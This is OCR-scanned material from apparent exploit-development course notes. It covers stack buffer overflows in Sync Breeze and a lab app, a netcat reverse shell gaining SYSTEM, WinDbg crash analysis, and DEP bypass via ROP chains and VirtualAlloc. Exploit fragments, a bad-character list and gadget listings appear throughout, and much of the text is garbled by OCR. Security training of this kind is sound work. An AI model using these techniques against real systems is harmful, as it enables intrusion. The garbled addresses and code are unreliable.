01=378d4 00 00 OO0 OO0 OO0 OO0 00 00 53 79 6e 63 20 42 72 65 65 7a 65 20 45 6e 74 65 72 70 .. ... ... Svync Breeze Enterp w
[o:o10s | < >

Ln0, Col0  Sys(:<lLocal> = Proc000:12d4 | Thrd 010:1b94 = ASM  OVR | CAPS  NUM
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GO

nc -nlvp 443
listening on [any] 443 ...

Command

0:010x g

[*BUSY* [Debuggee is running. ..

14/10/2025

Reverse shell

&

Attack Machine Target server

nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.194.10] 50977
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoamil
whoam1
nt authority\system

C:\Windows\system32>]]
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all's well that ends well

Services

File Action View Help

& |FE = HE »8nw
G5 Services (Local) | o), Services (Local)

|
Sync Breeze Enterprise

Stop the service
Pause the service
start the service

Name

Sync Breeze Enterprise
&k Sync Host_2d3ad
& System Event Notification S...

& System Events Broker
2 Task Scheduler

S TCP/IP NetBIOS Helper
k- Telephony

o,
Gk Themes

&) Tile Data model server

&1 Time Broker

&) Touch Keyboard and Hand...

& Update Orchestrator Service
& UPnP Device Host

& User Data Access_2d3ad

&k User Data Storage_2d3ad

5 User Experience Virtualizatio...

&) User Manager

&k User Profile Service
& Virtual Disk

K
& VMware Snapshot Provider

&k VMware Tools

% VMware Alias Manager and ...

Description

This service ...
Meonitors sy...
Coordinates...
Enables a us...
Provides su...

Provides Tel...
Provides us...

Tile Server f...
Coordinates...
Enables Tou...
Manages W...
Allows UPn...
Provides ap...
Handles sto...
Provides su...
User Manag...
This service ...
Provides m...

Alias Mana...

VMware Sn...

Provides su...

Status

Running
Running
Running
Running
Running
Running

Running

Running
Running

Running
Running

Running

Running

Startup Type
Automatic

Automatic (D...

Automatic

Automatic (T...

Automatic

Manual (Trig...

Manual
Automatic
Manual

Manual (Trig...
Manual (Trig...

Manual
Manual
Manual
Manual
Disabled

Automatic (T...

Automatic
Manual
Automatic
Manual

Automatic

Log On As
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Service
Network S...
Local Syste...
Local Syste...
Local Service
Local Syste...
Local Syste...
Local Service
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...
Local Syste...

Start
Stop
Pause
Resume

Restart

All Tasks
Refresh
Properties

Help

“"‘-, Extended ‘.4‘1;_ Standard /

Contains actions that can be performed on the item.

14/10/2025

~/0SED/prep/bof/sb
443
listening on [any] 443 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.194.10] 51047
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>|

kali@kali: ~fOSED/prep/bof/sb 97x16
)-[~/0SED/prep/bof/sb]
6.py
Sending evil buffer...
Done!
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another one
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App Alert

VulnApp2 started and listening

import socket

import sys

def main():
Server =

port =

= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((server, port))

s.send(buf)
s.close()

if __name__
main()
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n rr

NO

gl Pid 533324 - WinDbg:10.0.18362.1 X86 - x
File Edit View Debug Window Help
| | BlEEH=DBEE O EEEEEREEOBE| 5G] A E

Memory n
Of'fset:|@$scopeip ‘u‘irtual:|esl:1 Display format: | Long Hex ~| || Previous Nesxt
Ho prior di=sassembl o==ible 040d4££88 41414141 41414141 41414141 040d4££00 7774293c 000002dc daz2d45£fc 00000000 0OO000000 000O002ds 0OOOOOO0O0 0000000 A
M 040d4f£b8 00000000 00000000 da2d45fc 040d4ffa0 00000000 O040difed 77777390 29529510 00000000 040dffec 77742910 f££f£££F
41414142 77 e 040dffe8 77783c8b 000000 00000000 14801040 000002dc 00000000 2777997997 2209999070 99900097 200020700 290070007 2999707
41414143 77 177 0400018 77777777 777777 TEPITIIT OPVVIVVNY PRIIIINY RNV iededeielele b B bl e e e e B e Rl e e e B e e B e e de B e B B B e e B
41414144 77 et 040=0048 TRTIVEIT OTIVVIVIT VRIVIVIY VRIVIINY VPNV PRIVIVVT PIIIIVNT PIVIINY NI eI
41414145 77 777 040=0078 SEseEs. & ITEIIT TRPPIVIT VVVVVNVY VYDV VVNAYNVY VIVIVNY VYIVIVVY 0NN
41414146 7?7 777 040e00a8 777727777 727770770NK 77772227 70777797 20770707 PRYVIVIT DVVVVVVT V000 00 777777 PT7TITIT PRYIYY
41414147 77 e 040=00d8 72777777 2229090 Q200007 2099 eeey 29909y verere ey 0yl L ¢ PR R
41414148 *¥7 Y 040=0108 72727777 220209700 @WHIPP0Y 20999907 29999007 ey 0t S P PR
41414149 77 Y 04020138 277729777 2007770700 INIIPYY O PIPIRNNT AR RRNTY O Y Y P
41414145 77 Y 040=0168 27779777 TRRIRINY
4141414b 7?7 Y 04020198 72722777 2992979707
4141414 77 Y 040e01ch 7977722777 29929279707
4141414d 77 9? 040=01£8 2279722277 299997977 R - © 7 7
4141414 77 Y L e R N Wy Onlv 192 hvtece af ecnace = = CEEKEE
4141414F 77 e 04020258 2279729777 2999997070 PITPVVI PERNINNY 777 Only 12 byTeS Ofspcce' ?
41414150 ?7 e 04020288 797799797 199909070 PITPVVXY OPPVVIINY e .7 INxExx
41414151 77 777 04020288 77727297 297797777 FIIPIVIT RIITIDIY thf an |c|(.
41414152 77 277 040e02e8 7777727277 777797777 rkEkyeEreyy 848 [kxkxEx
41414153 77 277 04020318 277272727797 77272729797 777772 777777727 29777777 277777 N - 7" 7 7 7
41414154 7?7 777 P
0:004> g

(8234c.8247c): Access wiolation — code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

Thi=z exception may be expected and handled.

=ax=00000830 =bx=000002dc =cx=00578a28 =dx=00000830 ==si=14801040 =di=14801040

eip=41414141 esp=040df{88 =bp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ===0023 ds=0023 e=s=0023 {=s=003b g=s=0000 ef1=00010206
41414141 77 77

|0: 006> |

Ln0, Col0  Sys(:<Local> Proc000:3234c = Thrd 006:8247c | ASM | OVR | CAPS  NUM
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just move ESP
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nasm > sub sp,0x4fc
00000000 6681ECFCO4 sub sp,0x4fc

nasm >

buf = * 808 #padding 1

buf += shellcode

buf += * (2080-len(buf)) #padding 2
buf += pack( , 0x1480113d) #eip

buf += #stack
buf += * (2500-len(buf)) #stack space

Breakpoint 0 hit
=ax=00000830 =bx=00000248 =cx=00550210 =d==00000830 ==1=14801040 =d1=14801040

21p=1480113d esp=03ecff8f =bp=90909090 i1opl=0 nvy up 1 ng nE ha pe nc
c==001b ===0023 d==0023 e=s=0023 f{==003b g==0000 efl1=00000286
VulndApp2+0x113d:

1480113d ffed Jnp esp {03ecffi8f}

0:004: db e=sp

03eciff88 01 02 03 04 05 06 O7 08-09 0= 0b Oc 00 £f ec 03 .. . ... .. . ... .
03ecff98 3o 29 56 77 48 02 00 00-c3 70 da 70 00 00O 0O 00 <)VwH. .. . p.p....
03ecffafd 00 00 00 00 458 02 00 0O0-00 OO OO OO0 OO0 OO0 0O 00 H

03=cffbd 00 00 OO0 00 00 OO0 00 00-c3 70 da 70 a0 ££f =c 03 ... ... ... 0.p....
03ecffcd 00 00 OO0 00 =4 ff =c 03-90 73 59 77 2f a0 56 04 ... ... ... =¥y V.
03ecffdd 00 00 OO0 00 ec ff =c 03-10 29 56 77 ff ££f ££ ££ . ........ WL
03ecffel 66 3c 5a 77 00 00 00 00-00 OO0 OO0 OO 40 10 80 14 f<Zw. . ... .. . @ ..
D3ecfff8 48 02 00 00 00 OO0 OO0 OO=27% 27 27 27 2% 3% 3% 7% H....... 7777
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Data Execution Prevention (DEP)
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Data Execution Prevention

To exploit a traditional stack overflow vulnerability, we would
place our shellcode in the buffer that overwrites the stack.
Then, we would locate and use an assembly instruction like
"JMP ESP", which effectively transfers execution to the stack.
DEP was created to mitigate this type of exploit technique. It
was invented with hardware support from Intel CPUs and
eventually implemented in the Windows operating system in
2003.

DEP sets the non-executable (NX) bit that distinguishes
between code and data areas in memory. An operating
system supporting the NX bit can mark certain areas of
memory non-executable, meaning the CPU won't execute
any code residing there. This technique can be used to
prevent malware from injecting code into another program'’s
data storage area and then running that code.

14/10/2025

0:006x lwprot eip
Ba=seiddre=s=:
AllocationBase:

AllocationFProtect

FegionSize:
State:

Frotect :

Type:

0:00&6r lwprot esp
Ba=eiddre=s=:
AllocationBa=se:

AllocationProtect

FegionSize:
State:
FProtect :

Type:

27771000
J7e=0000
goooooso
ooogzooo
goooiooo
goooanzo
glaoaaooo

O653£000
OeS00000
ooooonod
goooiooo
goooiooo
oooooood
goozoooo

PAGE BEEECUTE WRITECOPY

MEM COMMIT
PAGE EXECUTE EREEAD
MEM THAGE

PAGE REEADURITE

MEM COMMIT
PAGE EEADURITE
MEM PRIVATE
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0:006>r .load nar
=1 =1{a
_wil4+m—
vELE .
Tyi=:o .
Inw=: .
uet:
mr==::.. )
#==wiii|===; {

Z.{nnonnvvii:@wv

E={oooonvvwIl; 3
E=)wwwwIliii:3
H=¢1111liidi|=:n;
S=<11i|||=:: n:
=<1 |+=; n’
E=didi==—_ o
Trdii+: =  .uf
S=1i]||::. .=uf
2ay|==__=u?
{nwvnl!l""™

by

Available comman

I nmod -

0:006: !nmod

Oofel0O0 O101f000
S7cB0000 S7=fa000
61£00000 elf£56000
BecB0000 e6cf?000
691a0000 &93b1000
62920000 &aaB3000
Ebz200000 ebz17000
gb2£0000 ebE509000
6bEZ20000 ab%ac000
Gfed000n &ff3=000
0610000 7078a000
7120000 7138b0O00
71390000 715c4000
72010000 720bLA000
Z2cf0000 72deb0O00
Zz2db00on0 72443000
J2ef0000 72edal0n
72f00000 73034000
734£0000 73518000
738b0000 73B=0000
73ce0000 73cealin

AAgdAannnn PAaaaLnnn

1y

) .=, aanl¥*a
15, :
—dc

|

|
. |
e
A A A AL A

1Z2<onnhnnvnnnn >d
. Je<oonwlllllIid
-1=.  +]|1. tzonwii| |+ ]+ | vE
"no —=¥ lo=ovl |++==+=v0o
"1y . —{%i. Jc<Ennli||++=vn
"1,:41I.)c:Sonnwvli| | =w(
"o, —{Iw{ nvevvllii=v2
—lo,+Ii{:1i1l1lii|ie’
—Yo,—:==||iisv"
—lzasww}" "’

—{%. —%
—l= =

Hephi John=on (dic_sdwvages)
H for gnarlvy!

d=:

display ~SafeSEH., ~G5, DEF. and ASLE info for

all loaded modules

notepad ~SateSEH OH 55 =*ASLE
ef=wrt ~SafeSEH OH G55 #ASLE
oleacc <SafeSEH OH -GS #ASLE
TextInputFramseworlk ~SafeSEH O G5 =*ASLE
COMCTL3Z ~SafeSEH OH -G5S =*ASLE
HrmCorek ~SafeSEH OH G55 *#ASLE

MFPR ~SafeSEH ON -GS *AS5LR

iertutil ~SafeSEH O G5 =*ASLE
urlmon ~SafeSEH OH G5 =ASLE
WIHSPOOL ~SafeSEH OH G5 *ASLE
FPROPSYS ~SafeSEH OH G5 *ASLE
wintypes ~SafeSEH O G5 =ASLE
CorellIComponent = ~SateSEH OH 55 =*ASLE
Coreleszzaging ~SafeSEH OH G55 *#ASLE
uztheme <SafeSEH O  /GS *#ASLE
dwmapi ~SafeSEH O G5 =ASLE
EMCLIENT ~SafeSEH OH -G5S =*ASLE
twinapli_appoore ~SafeSEH OH G55 *#ASLE
ntmarta <SafeSEH OH -GS #ASLE
IFHLPAFI ~SafeSEH OH ~G5 =*ASLE
CRYPTBASE Ho_SEH <55 ®ASLE

=DEF
*DEP
*[EFP
=DEF
=DEF
*DEP
*[EFP
=DEF
=DEF
*=DEP
*[EF
=DEF
=DEF
*=DEP
*[EFP
=DEF
=DEF
*DEP
*[EF
=DEF
=DEF

wTHToT

Mislnielintelsialelisielainiaiainiein e ieNeTe]

SindowsssystendZ~notepad  exe

S indows~Syztendd~efswrt . dll

S WindowssSysztenddoleacc . dll
SJindows~Systend2~TextInputFramnework . dll
SlindowssWinSES~x86_microsoft  windows . con
S lindows~Systend2~MrnCoreR . dll
CWindowssSystendZ~MPR . d11
Sindowsssystend2~iertutil . dll
SlindowssesystendZ~arlmon . d11

S lindowssesystend 2~ WINSPOOL . DEV

S Windowshesystend2~FROPSYS d11

S indows~SYSTEHI2~wintypes . dll
SlindowssSy=tendZ~CorelIComnponent= . dl1l
S lindows~SyztendZ~Coredessaging . dll

S WindowshasystendZuaxthens dll
SJindowsssvystend2~dwnapi . d11
Slindows~Systend2~EMCLIENT . dll

S indows~SysztendZ~twinapi  appocore.dll
S Windows~SYSTEHIZ~ntmarta dl11
SJindowsssystend2~IFHLFAPI . DLL
Sindowshesy=tend2~CRYFTEASE . DLL

P . RS PR AR Ty T T I AR L PR |
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Offzet | @S=copeip

O653ff£36 0000 add byte ptr [eax].al

Command

0:006: dd e=p L1

Oe53ffis  777a9bf9

0:006: ed esp 909090910

0:006: dd e=p L1

N653f£38 ﬁﬁsﬁﬁﬁan

0:006r » eip=e=p

0:006: p

{192z . 12e88) . Acces= wiolation — code cO000005 {(first chance)

Fir=st chance EEceptlon= are reporte elore any exception handling.

Thi= exception may be expected and handled.

eax=008c7000 ebx=00000000 ecx=777a%c0 =dx=01008802 e=i1=777a%bcl =edi=777a%bc0
elp=0653ff38 e=p=0653ff38 =bp=0653ffed 1copl=0 nv up 21 pl zr na pe nc
c==001b ===0023 d==0023 e==0023 {==003b g==0000 ef 1=00010246
Oe53£f£38 90 nop
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0:079: lomod

oo1s0o0on
ooidoooon
oo4a0o0n
012=0000
014b0O0O0O0O
0l=20000
o30f0o0o0
loa00a0n
cozo0o00
S0500000
Siooooon
eL1b0O000
65740000
EL770000
657b0O0O00
badalonn
Ea9=0000
6a9d0000
Lalf0a0n
faa10000
baaZ0000
baa&0000
fabdoooo
bab=0000
fac00000
Gadb0000
eAZE0000
Ed3a0000
64730000
64920000
£d9=0000
6da00000
Eda20000
6daa0000
eddooann
Ee6f0000
6f1a0000

Q01l=3000
ooifdonn
O0=0=000
n13zzonn
014db0on
N1l=5a00n
031e000n
10034000
Soz237000
SO577000
S1032000
RS253000
BS7RZ000
657ak000
65 7be00nn
Badaf 000
Ga9=alnn
Ba9=9000
Baalz20nn
Baal9nnn
Baas7000
haab00n
fabd=000
pabf 6000
Raczl11000
padbf 000
ed 39000
RA7E3000
6A911000
6d9=0000
RS 7000
6dal3nnn
Gdaz23000
fdazaa00n
edd0annn
eehf 3000
Gfle=000

snclientapi ~SafeSEH
liboslog ~SafesSEH
Fa=tBackServer ~SafeSEH
HLS ~SafeSEH
gzkiiccs ~SafesSEH
icclib019 ~SafeSEH
libeay32IBHMO19 ~SafeSEH
SHEFS ~Saf=5EH
CSHCDAVE ~Saf=SEH
CSFTRAVG ~SafeSEH
CSHTERAVG ~Saf=SEH
MSWCES0 ~SatesSkEH
ulib ~SafesSEH
If=ltil ~SafeSEH
fmif= ~SafeSEH
browczli ~SatfeSEH
DAVHLER ~Saf=SEH
davclnt ~Safe5SEH
ntlanman ~SatfeSEH
drprow ~SafeSEH
ad=ldpc ~SafeSEH
ActivelS ~SafeSEH
winrnr ~SafesSEH
DhTOnsEn ~SafesSEH
naplinsp ~SateSEH
cECcapil ~Safe5SEH
SREVCLI ~SatfeSEH
n=i ~SafeSEH
dbghelp ~SafeSEH
CLUSAPT ~SafeSEH
MPE ~SafeSEH
HETAFIAZ ~SafeSEH
VYERSICH ~SafeSEH
Securd? HO_SEH

WSOCK32 ~SatfeSEH
razadhlp ~SafeSEH
fwvpuclnt ~SafeSEH

OFF
OFF
OFF
ON

OFF
)

OFF
OFF

<G5
G5

L) I
L) I
L) I

Program
~Program
wProgram
~Program
~Program
wProgram
~Program
~Program
wProgram
~Program
W Program

OH <155
oOH  ~55
) Y =
OH  ~E5
()
) I =
OH <55
() I
) I =
OH  ~55
) =
) I =
oH  ~G55
) I =
OH <55
() I
) I =
OH  ~55
) =
) I =
oH  ~G5
) I =

<35
()
) I =
OH  ~55

*#h5TH
#A5TR
EFASIN
*A5TR
=A5LE
E TSI
*A5TR
=A5LE
EFASIN
#A5TR
EFASTN
*#hSTH
*A5TR
EFASIN
*A5TR
=A5LE
EFASIN
#A5TR
EFASTN
*#hSTH
*A5TR
EFASIN
*A5TR
=A5LE
EFASIN
#A5TR

*[EF
*[EF
*[EF
*[EF
*DEF
*[EFP
*[EF
*DEF
*[EF
#[EF
=[EFP
*[EF
*[EF
*[EFP
*[EF
*DEF
*[EF
#[EF
=[EFP
*[EF
*[EF
*[EFP
*[EF
*DEF
*[EF
*[EF

el te e laleiale e lalaiaiatalaiaialialslatalaly ol e e e e e NS NaNe]

Files~Tiwvoli~TSHM~Fa=stBacl~=erver~=snclientapi dll
Files~Tivoli~TSM~Fa=tBacl~=erver~libcclog . dll
Files~Tivoli~TSH“~Fa=tBacl=erver-~FastBackServer exes
Files~Tivoli~TSM~Fa=stBaclk~Common~NL5 dl1l
Files~ibm~gski~lib~gsklicc=s . dll
Files“ibm~g=sk8~lib~H~icc™icclib~icclib019 . d11
Files~ibm~g=k8+~1lib-N~icc~o=s=1lib~1libeay32IBH019 . d11
Files~Tivoli~TSM~Fa=stBacliserver~SHFS.dll
Files~Tivoli~TSM~Fa=stBacl~=erver~CSHCDAVE DLL
Files~Tivoli~TSM~Fa=stBacl ~=erver~CSFTPAVE  DLL
File=s~Tivoli~TSH-Fa=tBacl~=erver~CSHTPAVE DILT

:\HindDWS\HinSHS\HBE_michSDft.VDBD.Drt_lfDBbEbBalelﬁaﬁb_B.D.3
Windows~5YSTEM32~ulib.dll

S indows~SYSTEMIZ-If=0Ut11 .dl1
W indows~SYSTEMIZ~fmif=s . dll
Windows~SYSTEM32~browcli  dll
wWindows~Sv=tend2~DAVHLEE . d11
Windows~Sy=temndd~davclnt . dll
S indows~Systend2~ntlanman.dll
wWindows~Syztendd~drprowv.dll
W Windows~SYSTEM3Z2~ad=sldpz . dll
IWindows~SYSTEMIZ2-ActiveDS . dl1
IWindows~Sysztenidd~winrnr . dll
CWWindowsssystendZ~pnrphnsp.dll
SindowshasystendZ2~napinsp.dll
IWindows~SYSTEM3Z2~ce=capi  dll
Windows~5SYSTEM32~5SRVCLI . DLL
W indows~SYSTEMIZ2~m=1 .dll

W Windows~SYSTEM3IZ2~dbghelp.dll
S indows~SYSTEMIZ-CLUSAPT . dll
s Windows~SYSTEM3Z2~MPR . dll

W Windows~SYSTEMIZ-HETAPT 32 . dll
O indows~SYSTEMIZ-VERSION .dl1
W indows~SYSTEMIZ~Securds?  dll
Windows~SYSTEMI2-WSOCK3I2 . dll
wWindows~Syztendd~razadhlp.dll
Windows~System3I2-fwpuclnt .dll
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B 0O @

Best match

App
Settings

32 Windows Defender Security Center

Windows Defender Security Center

Exploit protection

See the Exploit protection settings for your system and programs. You

can customize the settings you want.

System settings | Program settings

-+ Add program to customize

Add by program name

Choose exact file path

lequinitexe
1 system override

Windows Defender Security Center

‘Windows Defender Security Center

Exploit protection

See the Exploit protection settings for your system and programs. You
can customize the settings you want.

System settings Program settings

Control flow guard (CFG)
Ensures control flow integrity for indirect calls.

On by default ~

Data Execution Prevention (DEP)
Prevents code from being run from data-only memaory pages.

On by default v

Program settings: FastBackServer.exe

Data Execution Prevention (DEP)
Prevents code from being run from data-only memory pages.

Override system settings

@ on

[ ] Enable ATL thunk emulation
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0:079: !nnod

00190000 001=3000 =nclientapi #SafeSEH OFF C:~Program Files~Tivoli~TSH~FastBaclk=server~snclientapi . dll
001doood 001fd000 liboclog ~SafeSEH OFF C:~Program Files~Tivoli~TSH~FastBack-=server~libocclog. dll
00400000 00=0=z000 Fas=tBackSerwer ~SafeSEH OFF C:~Program Files~Tivoli~TSH~FastBacl=server~FastBackSerwver exs
01310000 0133b0O00 g=kiiccs ~SafeS5EH OFF C:~Program Files~ibm-gski-~lib~gskiiccs dll

01370000 013bL2000 HLS ~SafeSEH ON G5 C:“Program Files~Tivoli~TSH-FastBack-Common~H15 . d11

01470000 01452000 icclib0l9 ~SafeSEH OH -GS C:~Program Files~ibm“gski-~lib~N~icc~icclib~icclib019 .d11
03060000 03150000 libeaw3ZIBHO19 ~SafeSEH OFF C:“Program Files-ibm~g=sk8-lib“N-iccos=lib~1libeay32IBH019 d11
10000000 10034000 SHES #SafeSEH OFF Z:~Program Files~Tivoli~TSH~FastBacl=server~SHFS dll

0200000 50237000 CSHCDAVA ~SafeSEH OH -GS C:“Program Files“Tiwoli~TSH“FastBacl=erver~CSHCDAVE DLL
50500000 50577000 CSFTRAVEA ~SafeSEH OH G5 C:~Program Files~Tiwvoli~TSM~FastBacl=server~CSFTFAVE DLL
51000000 51032000 CSHTPAVG ~SafeSEH OH G5 C:.~Program Filez Tivoli-~TSH“FastBacl=erver~CSHTPAVE DLL

0:079: dd e=p L1

O0d25ff54 7Y=a%9bfn

0:079: ed esp 909090910

0:079: dd e=p L1

O0d25££54 90909090

0:079: r ei1p=e=p

0:079: p

(1lef8.1cl0): Access wiolation — code c0000005 (first chance)

Fir=t chance exceptions are reported before any exception handling.

Thi= exception may be expected and handled.

gax=002a2000 =bz=00000000 ecx=7Yea9bcl edx=7Y=a9%bcl esi1=77Y=a9%bcl edi=77=a9bcz0
elp=0d25ff54 e=p=04d25f{f54 ebp=04d25ff80 i1opl=0 nv up 21 pl =zr na pe nc
c==001b ===0023 d==0023 e==0023 f==003L g==0000 efl=00010246
Od25££54 90 nop
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Return Oriented Programming

By combining a large number of short instruction sequences,

we can build gadgets that allow arbitrary computation and

perform higher-level actions, such as writing content to a

memory location.

14/10/2025

POP ECX
RETN

J

POP EAX
RETN ] POP EBP

0x6FF2A3D5 POP ECX / RETN
0x6FF2A3E2 POP EAX /RETN

0x6EEC572E MOV [ECX],EAX / POP EBP / RETN

ESP =

0x6FF2A3D5
0x0200CAFE
0x6FF2A3E2
0x0000BABE

Ox6EEC572E
0x41414141

HLMOYD MIV.LS
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128 Byte

12 Byte

Stack Layout

Stack after Input

ROP-chain

|

pop eax QEEYVENNI
ret

pop ecx =il
ret

pop edx EEYeVEN
ret

Pop ebx [EEEPNNV
ret "/bin/sh"

int Ox80

sys_execve("/bin/sh")
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Detfeating DEP

At this point, depending on our goals and on the number of gadgets we can obtain, there are two different approaches we could take:

® Build a 100% ROP shellcode.

® Build a ROP stage that can lead to subsequent execution of traditional shellcode.

One way to implement this ROP attack is to allocate memory using the Win32 VirtualAlloc API. A different approach to bypass DEP could
be to change the permissions of the memory page where the shellcode already resides by calling the Win32 VirtualProtect API. The
address of VirtualProtect or VirtualAlloc is usually retrieved from the Import Address Table (IAT) of the target DLL. Then the required API
parameters can be set on the stack before the relevant APIs are invoked.

Often, it's not possible to predict argument values before triggering the exploit, so we can use ROP itself to solve this problem as well. In
the buffer that triggers the vulnerability, we can create a skeleton of the function call and then use ROP gadgets to dynamically set the
parameters on the stack.

Another alternative to bypass DEP, we could use the Win32 WriteProcessMemory APIl. The idea is to hot-patch the code section
(specifically, the .text section) of a running process, inject shellcode, and then eventually jump into it. We don’t fight DEP here, we just
follow its rules.

14/10/2025
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o:079:
nolsoooa
noldaooon
no4o00000
ni3oooon
0140000
nisiaoon
nz0s0000
lo0oooon
50200000
50500000

E2fE0000
651b0O000
65740000
Eada0000
Ba3z0000
6a3d40000
fa3f0000

14/10/2025

I nmod

00l=3000
nolfdoon
00z0=000
0132b000
n1so0z20oo
0154=000
oz1s80000
10034000
50237000
50577000

E3003000
R51d7000
RE77R000
Rafafooo
Ba9calin
Ba%=2000
Gaa02000

Bad characters: 0x00, 0x09, Ox0A, 0x0B, 0x0C, 0x0D, 0x20

snclientapi ~SafeSEH
libe=lag ~Saf=5EH
Fa=stBaclkServer ~Saf=5EH
g=kiiccs ~SafeSEH
H1S ~Saf=5EH
icclib0149 ~Saf=5EH
libeavy32IBHMO19 ~Saf=5EH
SHES ~Saf=eSEH
CSHCDAVE ~Saf=5EH
CSEFTPAVE ~Saf=5EH
WyaFATS ol e
MSYCRS90 ~Saf=5EH
ulib ~Saf=5EH
Ift=Ut1l ~Saf=5EH
browcli ~Saf=5EH
DAYHLFPE ~Saf=5EH
dawclnt ~Saf=eSEH
ntlanman ~Saf=5EH

Z: ~Programn
Z:“Program
Z:“Program
Z:“Program

#1155 Z:“Program

#1155 Z:“Program
Z:~Program
Z:~Program

#1355 Z ~Programn

#1535 iZ

A [

<55 #A5TR =*=DEFP C

<55 #ASTE =*=DEP C

<55 #ASTRE =*=DEP C

<55 #ASTR =DEP C

S5 #ASTR =DEP C

S5 ®ASTR =DEP C

#35 *A5STR =*=DEP C

Files~Tivoli~TSM~Fa=tBaclk =zerver~=snclientapi dll
File=~Tivoli~TSH~Fa=tBacl=server~libcclog . dl1
File=~Tivoli~TSH~Fa=stBack =server-FazstBackServer exe
Files~ibm~g=ski~lib~g=kiiccs . dll
Files~Tivoli~TSM“~Fa=stBack“~Common~HLS . dl1
Files~ibm*~g=lk8~lib~H~icc~icclib~1icclib019 .dl1
Files~ibm*~g=ki~lib~H~icc~o=s=slib~1libeay32IBH019 . dl1l
Files~Tivoli~TEM~Fa=ztBaclserver~SHFS . dll
Files~Tivoli~TSM~Fa=tBack=server~CSHCDAVE DLL

W Frogram Files~Tiwoli~TSH~Fa=ztBacl ~=server~CSFTFAYVE DIL
wProgram Fllesnlivoll o P st Dack ~Server Lol CavE . DLL
SIMindows~WinS=x5~286 microsoft w90 . crt_1fc8b3b%aleld=sbh 9.0 3
S Windowse~SYSTEM3Z2~ulib . d1l1

S Windowse~SYSTEMIZ2-If{=Uti1]l . dll
S Windowse~SYSTEM3I 2 browcoli dll
S indows~Systend~DAVHLEERE . dl1
S Windows~Systend2~davclnt . dll
wWindows~Systemd2~ntlanman . dll
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copy

.\rp-win-x86. exe

0x50516808:
0x5050eaal:
0x5051efff:
9x50508dab6 :
0x5050da83:
0x5050e128:
0x508548e47:
0x50548e46:
0x50850ca86:
@x5e50cfcf:
0x58508caal:
9x50508cfe2:
0x5050c6d1:
0x5051221b:
0x50850eeec:
0x5050780d:
0x505081e8:
8x50507560:
0x50508015:

©x5085369ac:
0x50542f3c:
0x50540ba4 :
0x50540b84 :
0x508538906c¢:
0x50538915:
0x5053891d:
0x50538925:
©x505413bc:
0x5085375c8:
0x50540b86:
0x5051e408:
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0x00000038 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000040 ;
0x00000042 ;
0x00000042 ;
0x00000053 ;
0x00000053 ;
0x00000059 ;
0xB0000B5A ;

xor
xor
xor
xor
xor
xor
xor
xor esi,

xor esi, esi
xor esi, esi
xor esi, esi

Xorps xmm2,

eax ;

pop €eax ;

push
push
push
push
push
push
push
push
call

esi

eax ;
eax ;
eax ;

dword
dword
dword
eax ;

>
>
>
>

>

dword

csttpavb.dll

ret
add eax, Ox000@0ACO ; push eax ; lea eax, dword [ebp-0x54] ; push eax ; call dword [O@x5854AR4C] ;
call dword [©x5654A160] ;
mov dword [esi], eax ; push ebx ; lea eax, dword [esi+0x84] ; push eax ; call dword [©x5054A04C] ;
mov dword [esi], eax ; push ebx ; lea eax, dword [esi+Ox@4] ; push eax ; call dword [©x5054A84C] ;
[ebp+0x©C] ; push dword [ebp-0x04] ; call dword [@x5054A6D@] ;
[ebp+0x1C] ; lea eax, dword [ebp+0x24] ; push eax ; call dword [©x5054A84C] ;
[ebp+0x1C] ; lea eax, dword [ebp+0x24] ;

lea
lea
lea
lea

5 (1 found)

eax,
eax,
eax,
eax,

push eax

[6x5054A194] ;
mov dword [ebp+8x@C], eax ; call dword [©x5054A194] ;

(1 found)

eax ;
call
call

push
eax ;
eax ;
eax ; call
eax ; call
(1 found)

dword [edi+0x00000200] ; push ebx
dword [edi+©x00000200] ; push
dword [edi+0x00000240] ; push
dword [edi+©x00000240] ; push
; call dword [Bx5054A04C] ;

(1 found)

ebx

(1 found)

ebx ;

ebx ;

call

>
>
>

>

5 > ﬁop.txt

dword [©x5054A04C] ;

(1 found)
(1 found)
(1 found)
(1 found)

lea eax, dword [edi+eax*8+09x0000389C] ; push eax ; call dword [@x50855C9A4] ;

push dword [ebp+0x©C] ; call dword [©x5855C9A4] ;
add eax, ©x0000389C ; push eax ; call dword [Bx5055C9A4] ;

(1 found)

push eax ; mov dword [ebp+8x8C], eax ; call dword [Bx5855C9A4] ;

; ret
Qe & S

(1 found)
(1 found)

; xor edi, edi ; jmp esi ;
; Xor esi, esi ; xor edi, edi ; call ecx ;
[ebp-6x088] ; call dword [©x5054A138] ;

; call dword [©x5054A044] ;
; call dword [Ox5054A188] ;
lea eax, dword [ebp-0x10] ; push eax ; call dword [Bx5054A1EQ] ;

(1 found)
(1 found)
(1 found)
(1 found)
(1 found)
(1 found)

5 inc esi ; push esi ; push ©0x50551068 ; push esi ; call dword [©x5054A230] ;

5 push edi ; call dword [0x5054A028] ;
; xor edi, edi ; call ecx ;
[edi+0x57] ; push edi ; call dword [©x50854A110] ;

(1 found)
(1 found)
(1 found)

(1 found)
(1 found)

(1 found)

(1 found)



VirtualAlloc

VirtualAlloc can reserve, commit, or  NAAUEILUGISR I SICLNGIE NI T]y)

R . Article = 02/05/2024 & Feedback
change the state of a region of pages in

In this article

the virtual address space of the calling

process.

OW £ more

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory

allocated by this function is automatically initialized to zero.

To allocate memory in the address space of another process, use the VirtualAllocEx function.

Syntax

Ct++

LFVOID VirtualAlloc(

[in, optional] LPVOID lpAddress,

[in] SIZE_T dwsize,

[in] DWORD flallocationType,
[in] DWORD flProtect

I
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VirtualAlloc

If the lpAddress parameter points fo an address belonging fo a previously
committed memory page, we will be able to change the protection
settings for that memory page using the fiProtect parameter.

